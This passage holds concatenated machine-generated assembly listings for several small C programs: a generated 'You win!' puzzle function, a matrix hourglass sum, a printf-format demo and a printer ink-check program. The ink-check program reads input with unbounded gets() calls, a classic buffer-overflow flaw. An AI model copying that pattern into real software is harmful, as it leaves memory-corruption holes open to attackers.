## %bb.11: ## in Loop: Header=BB1_10 Depth=1
movslq -60(%rbp), %rax
movq -24(%rbp,%rax,8), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -60(%rbp), %eax
addl $1, %eax
movl %eax, -60(%rbp)
jmp LBB1_10
LBB1_12:
movl -28(%rbp), %eax
movl %eax, -64(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_14
## %bb.13:
movl -64(%rbp), %eax ## 4-byte Reload
addq $64, %rsp
popq %rbp
retq
LBB1_14:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _RandomFunc ## -- Begin function RandomFunc
.p2align 4, 0x90
_RandomFunc: ## @RandomFunc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -24(%rbp)
movq %rsi, -32(%rbp)
movq -24(%rbp), %rax
movq (%rax), %rax
addq $914778474, %rax ## imm = 0x3686696A
xorq $-832765941, %rax ## imm = 0xCE5D000B
movq %rax, -16(%rbp)
movq $0, -40(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
cmpq $1, -40(%rbp)
jae LBB2_9
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
cmpq -40(%rbp), %rax
jbe LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rax
movw -16(%rbp,%rax,8), %ax
movw %ax, -42(%rbp)
movq -40(%rbp), %rax
movw -14(%rbp,%rax,8), %cx
movq -40(%rbp), %rax
movw %cx, -16(%rbp,%rax,8)
movw -42(%rbp), %cx
movq -40(%rbp), %rax
movw %cx, -14(%rbp,%rax,8)
jmp LBB2_5
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
movl -12(%rbp), %eax
movl %eax, -48(%rbp)
movl -16(%rbp), %eax
movl %eax, -12(%rbp)
movl -48(%rbp), %eax
movl %eax, -16(%rbp)
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rax
cmpq -40(%rbp), %rax
jne LBB2_7
## %bb.6: ## in Loop: Header=BB2_1 Depth=1
movq -16(%rbp), %rcx
andq $7, %rcx
shlq $2, %rcx
movq -40(%rbp), %rax
orq -16(%rbp,%rax,8), %rcx
movq %rcx, -16(%rbp,%rax,8)
jmp LBB2_8
LBB2_7: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rax
movq -16(%rbp,%rax,8), %rax
andq $7, %rax
shlq $2, %rax
orq -16(%rbp), %rax
movq %rax, -16(%rbp)
LBB2_8: ## in Loop: Header=BB2_1 Depth=1
movq -40(%rbp), %rax
addq $1, %rax
movq %rax, -40(%rbp)
jmp LBB2_1
LBB2_9:
imulq $549183897, -16(%rbp), %rcx ## imm = 0x20BBE199
addq $534246206, %rcx ## imm = 0x1FD7F33E
movq -32(%rbp), %rax
movq %rcx, (%rax)
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_11
## %bb.10:
addq $48, %rsp
popq %rbp
retq
LBB2_11:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Call this program with %i arguments\n"
L_.str.1: ## @.str.1
.asciz "You win!\n"
L_.str.2: ## @.str.2
.asciz "%lu\n"
.subsections_via_symbols
| the_stack_data/771064.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #208
.cfi_def_cfa_offset 208
stp x29, x30, [sp, #192] ; 16-byte Folded Spill
add x29, sp, #192
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #36]
str wzr, [sp, #32]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #32]
subs w8, w8, #6
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #28]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #28]
subs w8, w8, #6
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldrsw x8, [sp, #32]
mov x9, #24
mul x9, x8, x9
add x8, sp, #40
add x8, x8, x9
ldrsw x9, [sp, #28]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_1
LBB0_8:
str wzr, [sp, #24]
str wzr, [sp, #20]
b LBB0_9
LBB0_9: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
ldr w8, [sp, #20]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_21
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=1
str wzr, [sp, #16]
b LBB0_11
LBB0_11: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_19
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=2
str wzr, [sp, #12]
ldrsw x8, [sp, #20]
mov x10, #24
mul x9, x8, x10
add x11, sp, #40
mov x8, x11
add x8, x8, x9
ldrsw x9, [sp, #16]
ldr w8, [x8, x9, lsl #2]
ldrsw x9, [sp, #20]
mul x12, x9, x10
mov x9, x11
add x9, x9, x12
ldr w12, [sp, #16]
add w12, w12, #1
ldr w9, [x9, w12, sxtw #2]
add w8, w8, w9
ldrsw x9, [sp, #20]
mul x10, x9, x10
mov x9, x11
add x9, x9, x10
ldr w10, [sp, #16]
add w10, w10, #2
ldr w9, [x9, w10, sxtw #2]
add w8, w8, w9
ldr w9, [sp, #20]
add w9, w9, #1
mov x12, x11
mov w10, #24
smaddl x9, w9, w10, x12
ldr w10, [sp, #16]
add w10, w10, #1
ldr w9, [x9, w10, sxtw #2]
add w8, w8, w9
ldr w9, [sp, #20]
add w9, w9, #2
mov x12, x11
mov w10, #24
smaddl x9, w9, w10, x12
ldrsw x10, [sp, #16]
ldr w9, [x9, x10, lsl #2]
add w8, w8, w9
ldr w9, [sp, #20]
add w9, w9, #2
mov x12, x11
mov w10, #24
smaddl x9, w9, w10, x12
ldr w10, [sp, #16]
add w10, w10, #1
ldr w9, [x9, w10, sxtw #2]
add w8, w8, w9
ldr w9, [sp, #20]
add w9, w9, #2
mov w10, #24
smaddl x9, w9, w10, x11
ldr w10, [sp, #16]
add w10, w10, #2
ldr w9, [x9, w10, sxtw #2]
add w8, w8, w9
str w8, [sp, #12]
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #12]
str w8, [sp, #24]
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #12]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #12]
str w8, [sp, #24]
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_11 Depth=2
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_11
LBB0_19: ; in Loop: Header=BB0_9 Depth=1
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_9 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_9
LBB0_21:
ldr w9, [sp, #24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_23
b LBB0_22
LBB0_22:
bl ___stack_chk_fail
LBB0_23:
mov w0, #0
ldp x29, x30, [sp, #192] ; 16-byte Folded Reload
add sp, sp, #208
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $192, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -164(%rbp)
movl $0, -168(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $6, -168(%rbp)
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -172(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $6, -172(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -168(%rbp), %rax
leaq -160(%rbp), %rsi
imulq $24, %rax, %rax
addq %rax, %rsi
movslq -172(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -172(%rbp), %eax
addl $1, %eax
movl %eax, -172(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
movl -168(%rbp), %eax
addl $1, %eax
movl %eax, -168(%rbp)
jmp LBB0_1
LBB0_8:
movl $0, -176(%rbp)
movl $0, -180(%rbp)
LBB0_9: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
cmpl $4, -180(%rbp)
jge LBB0_21
## %bb.10: ## in Loop: Header=BB0_9 Depth=1
movl $0, -184(%rbp)
LBB0_11: ## Parent Loop BB0_9 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $4, -184(%rbp)
jge LBB0_19
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movl $0, -188(%rbp)
movslq -180(%rbp), %rcx
leaq -160(%rbp), %rax
imulq $24, %rcx, %rcx
addq %rcx, %rax
movslq -184(%rbp), %rcx
movl (%rax,%rcx,4), %eax
movslq -180(%rbp), %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movl -184(%rbp), %edx
addl $1, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movslq -180(%rbp), %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movl -184(%rbp), %edx
addl $2, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movl -180(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movl -184(%rbp), %edx
addl $1, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movl -180(%rbp), %ecx
addl $2, %ecx
movslq %ecx, %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movslq -184(%rbp), %rdx
addl (%rcx,%rdx,4), %eax
movl -180(%rbp), %ecx
addl $2, %ecx
movslq %ecx, %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movl -184(%rbp), %edx
addl $1, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movl -180(%rbp), %ecx
addl $2, %ecx
movslq %ecx, %rdx
leaq -160(%rbp), %rcx
imulq $24, %rdx, %rdx
addq %rdx, %rcx
movl -184(%rbp), %edx
addl $2, %edx
movslq %edx, %rdx
addl (%rcx,%rdx,4), %eax
movl %eax, -188(%rbp)
cmpl $0, -180(%rbp)
jne LBB0_15
## %bb.13: ## in Loop: Header=BB0_11 Depth=2
cmpl $0, -184(%rbp)
jne LBB0_15
## %bb.14: ## in Loop: Header=BB0_11 Depth=2
movl -188(%rbp), %eax
movl %eax, -176(%rbp)
LBB0_15: ## in Loop: Header=BB0_11 Depth=2
movl -188(%rbp), %eax
cmpl -176(%rbp), %eax
jle LBB0_17
## %bb.16: ## in Loop: Header=BB0_11 Depth=2
movl -188(%rbp), %eax
movl %eax, -176(%rbp)
LBB0_17: ## in Loop: Header=BB0_11 Depth=2
jmp LBB0_18
LBB0_18: ## in Loop: Header=BB0_11 Depth=2
movl -184(%rbp), %eax
addl $1, %eax
movl %eax, -184(%rbp)
jmp LBB0_11
LBB0_19: ## in Loop: Header=BB0_9 Depth=1
jmp LBB0_20
LBB0_20: ## in Loop: Header=BB0_9 Depth=1
movl -180(%rbp), %eax
addl $1, %eax
movl %eax, -180(%rbp)
jmp LBB0_9
LBB0_21:
movl -176(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_23
## %bb.22:
xorl %eax, %eax
addq $192, %rsp
popq %rbp
retq
LBB0_23:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/72011645.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp] ; 8-byte Folded Spill
bl _puts
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _puts
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _puts
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _puts
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _puts
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _puts
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _puts
ldr x0, [sp] ; 8-byte Folded Reload
bl _puts
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _puts
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _puts
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _puts
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _puts
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _puts
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _puts
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _puts
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _puts
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _puts
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Valores de b:"
l_.str.1: ; @.str.1
.asciz "-------------"
l_.str.2: ; @.str.2
.asciz "1) b = 7"
l_.str.3: ; @.str.3
.asciz "2) b = 7"
l_.str.4: ; @.str.4
.asciz "3) b = 00000000000000000007"
l_.str.5: ; @.str.5
.asciz "4) b = 7 "
l_.str.6: ; @.str.6
.asciz "5) b = 7%\n"
l_.str.7: ; @.str.7
.asciz "Valores de d:"
l_.str.8: ; @.str.8
.asciz "1) d = 2.208000"
l_.str.9: ; @.str.9
.asciz "2) d = 2"
l_.str.10: ; @.str.10
.asciz "3) d = 2.2"
l_.str.11: ; @.str.11
.asciz "4) d = 2.21"
l_.str.12: ; @.str.12
.asciz "5) d = 2.208"
l_.str.13: ; @.str.13
.asciz "6) d = 2.208"
l_.str.14: ; @.str.14
.asciz "7) d = 0000000000000002.208"
l_.str.15: ; @.str.15
.asciz "8) d = 2.208 "
l_.str.16: ; @.str.16
.asciz "9) d = 2.21%"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
callq _puts
leaq L_.str.1(%rip), %rdi
callq _puts
leaq L_.str.2(%rip), %rdi
callq _puts
leaq L_.str.3(%rip), %rdi
callq _puts
leaq L_.str.4(%rip), %rdi
callq _puts
leaq L_.str.5(%rip), %rdi
callq _puts
leaq L_.str.6(%rip), %rdi
callq _puts
leaq L_.str.7(%rip), %rdi
callq _puts
leaq L_.str.1(%rip), %rdi
callq _puts
leaq L_.str.8(%rip), %rdi
callq _puts
leaq L_.str.9(%rip), %rdi
callq _puts
leaq L_.str.10(%rip), %rdi
callq _puts
leaq L_.str.11(%rip), %rdi
callq _puts
leaq L_.str.12(%rip), %rdi
callq _puts
leaq L_.str.13(%rip), %rdi
callq _puts
leaq L_.str.14(%rip), %rdi
callq _puts
leaq L_.str.15(%rip), %rdi
callq _puts
leaq L_.str.16(%rip), %rdi
callq _puts
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Valores de b:"
L_.str.1: ## @.str.1
.asciz "-------------"
L_.str.2: ## @.str.2
.asciz "1) b = 7"
L_.str.3: ## @.str.3
.asciz "2) b = 7"
L_.str.4: ## @.str.4
.asciz "3) b = 00000000000000000007"
L_.str.5: ## @.str.5
.asciz "4) b = 7 "
L_.str.6: ## @.str.6
.asciz "5) b = 7%\n"
L_.str.7: ## @.str.7
.asciz "Valores de d:"
L_.str.8: ## @.str.8
.asciz "1) d = 2.208000"
L_.str.9: ## @.str.9
.asciz "2) d = 2"
L_.str.10: ## @.str.10
.asciz "3) d = 2.2"
L_.str.11: ## @.str.11
.asciz "4) d = 2.21"
L_.str.12: ## @.str.12
.asciz "5) d = 2.208"
L_.str.13: ## @.str.13
.asciz "6) d = 2.208"
L_.str.14: ## @.str.14
.asciz "7) d = 0000000000000002.208"
L_.str.15: ## @.str.15
.asciz "8) d = 2.208 "
L_.str.16: ## @.str.16
.asciz "9) d = 2.21%"
.subsections_via_symbols
| the_stack_data/122016264.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _checkInk ; -- Begin function checkInk
.p2align 2
_checkInk: ; @checkInk
.cfi_startproc
; %bb.0:
sub sp, sp, #320
.cfi_def_cfa_offset 320
stp x28, x27, [sp, #288] ; 16-byte Folded Spill
stp x29, x30, [sp, #304] ; 16-byte Folded Spill
add x29, sp, #304
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _puts
add x0, sp, #24
str x0, [sp, #8] ; 8-byte Folded Spill
bl _gets
ldr x0, [sp, #8] ; 8-byte Folded Reload
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov w8, #-1
str w8, [sp, #20]
b LBB0_3
LBB0_2:
str wzr, [sp, #20]
b LBB0_3
LBB0_3:
ldr w8, [sp, #20]
str w8, [sp, #4] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
bl ___stack_chk_fail
LBB0_5:
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #304] ; 16-byte Folded Reload
ldp x28, x27, [sp, #288] ; 16-byte Folded Reload
add sp, sp, #320
ret
.cfi_endproc
; -- End function
.globl _getFileToPrint ; -- Begin function getFileToPrint
.p2align 2
_getFileToPrint: ; @getFileToPrint
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _gets
str x0, [sp, #8]
ldr x0, [sp, #8]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _printFile ; -- Begin function printFile
.p2align 2
_printFile: ; @printFile
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _puts
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _makeInkRequest ; -- Begin function makeInkRequest
.p2align 2
_makeInkRequest: ; @makeInkRequest
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _puts
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x0, #256
bl _malloc
str x0, [sp]
ldr x0, [sp]
bl _getFileToPrint
str x0, [sp]
bl _checkInk
str w0, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_11
b LBB4_1
LBB4_1:
ldr w8, [sp, #8]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2:
adrp x8, l_.str.2@PAGE
add x8, x8, l_.str.2@PAGEOFF
str x8, [sp]
b LBB4_10
LBB4_3:
ldr w8, [sp, #8]
adds w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
str x8, [sp]
b LBB4_9
LBB4_5:
ldr w8, [sp, #8]
adds w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB4_7
b LBB4_6
LBB4_6:
adrp x8, l_.str.4@PAGE
add x8, x8, l_.str.4@PAGEOFF
str x8, [sp]
b LBB4_8
LBB4_7:
adrp x8, l_.str.5@PAGE
add x8, x8, l_.str.5@PAGEOFF
str x8, [sp]
b LBB4_8
LBB4_8:
b LBB4_9
LBB4_9:
b LBB4_10
LBB4_10:
ldr x0, [sp]
bl _makeInkRequest
b LBB4_12
LBB4_11:
ldr x0, [sp]
bl _printFile
b LBB4_12
LBB4_12:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ink? Y/N"
l_.str.1: ; @.str.1
.asciz "N"
l_.str.2: ; @.str.2
.asciz "red"
l_.str.3: ; @.str.3
.asciz "blue"
l_.str.4: ; @.str.4
.asciz "yellow"
l_.str.5: ; @.str.5
.asciz "black"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _checkInk ## -- Begin function checkInk
.p2align 4, 0x90
_checkInk: ## @checkInk
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $288, %rsp ## imm = 0x120
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
leaq L_.str(%rip), %rdi
callq _puts
leaq -272(%rbp), %rdi
callq _gets
leaq -272(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB0_2
## %bb.1:
movl $-1, -276(%rbp)
jmp LBB0_3
LBB0_2:
movl $0, -276(%rbp)
LBB0_3:
movl -276(%rbp), %eax
movl %eax, -280(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_5
## %bb.4:
movl -280(%rbp), %eax ## 4-byte Reload
addq $288, %rsp ## imm = 0x120
popq %rbp
retq
LBB0_5:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _getFileToPrint ## -- Begin function getFileToPrint
.p2align 4, 0x90
_getFileToPrint: ## @getFileToPrint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _gets
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _printFile ## -- Begin function printFile
.p2align 4, 0x90
_printFile: ## @printFile
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _puts
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _makeInkRequest ## -- Begin function makeInkRequest
.p2align 4, 0x90
_makeInkRequest: ## @makeInkRequest
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rdi
callq _puts
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $256, %edi ## imm = 0x100
callq _malloc
movq %rax, -16(%rbp)
movq -16(%rbp), %rdi
callq _getFileToPrint
movq %rax, -16(%rbp)
callq _checkInk
movl %eax, -8(%rbp)
